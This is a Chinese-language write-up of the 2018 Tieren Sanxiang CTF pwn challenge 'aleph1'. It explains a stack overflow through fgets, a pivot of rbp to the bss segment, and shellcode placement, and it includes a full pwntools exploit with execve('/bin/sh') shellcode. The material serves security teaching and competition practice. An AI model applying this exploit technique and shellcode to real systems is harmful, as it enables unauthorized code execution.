FormSec

逢魔网络安全实验室

铁人三项2018 pwn aleph1 Writeup

Author: WeaponX

拿到程序后首先看看程序的漏洞缓解措施,发现没有开启任何缓解措施。

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

程序分析

接着,我们用IDA载入程序看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000004005CA                 public main
.text:00000000004005CA main proc near ; DATA XREF: _start+1D↑o
.text:00000000004005CA
.text:00000000004005CA yolo = byte ptr -400h
.text:00000000004005CA
.text:00000000004005CA ; __unwind {
.text:00000000004005CA push rbp
.text:00000000004005CB mov rbp, rsp
.text:00000000004005CE sub rsp, 400h
.text:00000000004005D5 mov rdx, cs:__bss_start ; stream
.text:00000000004005DC lea rax, [rbp+yolo]
.text:00000000004005E3 mov esi, 539h ; n
.text:00000000004005E8 mov rdi, rax ; s
.text:00000000004005EB call _fgets
.text:00000000004005F0 mov eax, 0
.text:00000000004005F5 leave
.text:00000000004005F6 retn
.text:00000000004005F6 ; } // starts at 4005CA
.text:00000000004005F6 main endp

程序很简单,漏洞也很明显,yolo占0x400大小,却可以输入0x539大小的数据。很明显的栈溢出,但是却不好利用。因为程序使用fgets来完成输入的,我们来看看fgets的声明fgets(char *buf, int bufsize, FILE *stream),而程序中的第三个参数用的是stdin标准输入,而这个stdin存在了bss段中。我们没办法使用ROP来传到rdx中。

如果通过传统的方式,很难完成第三个参数的传递,就没法完成第二次输入,也就没法完成利用。此时,我选择第一次栈溢出用0x4005D5来覆盖返回地址,因为之后的代码会帮助我们完成参数的传递。

那么接下来的难点是控制fgets的第二个参数。不过这不是问题,因为存在栈溢出,所以我们可以控制rbp那么也就可以控制第二个参数了。

rbp我选择的是bss + 0x20 + 0x400也就是说,数据会写入到bss + 0x20。为了不覆盖掉bss段中的stdin,所以偏移了0x20大小。

第二次输入时,我们就可以部署shellcodebss段中,并控制返回地址到shellcode的地址完成利用。

Explolit

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

sc_addr = 0x601030 + 0x20
offset = 1024

r = process('./aleph1')

payload = offset * 'a'
payload += p64(sc_addr + 0x400)
payload += p64(0x4005d5)

raw_input('0')
r.sendline(payload)

raw_input('1')
payload = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'

payload = payload.ljust(offset+8, '\x00')
payload += p64(sc_addr)

r.sendline(payload)

r.interactive()

相关的代码及其题目https://github.com/we4p0x/Writeup/blob/master/tiesan2018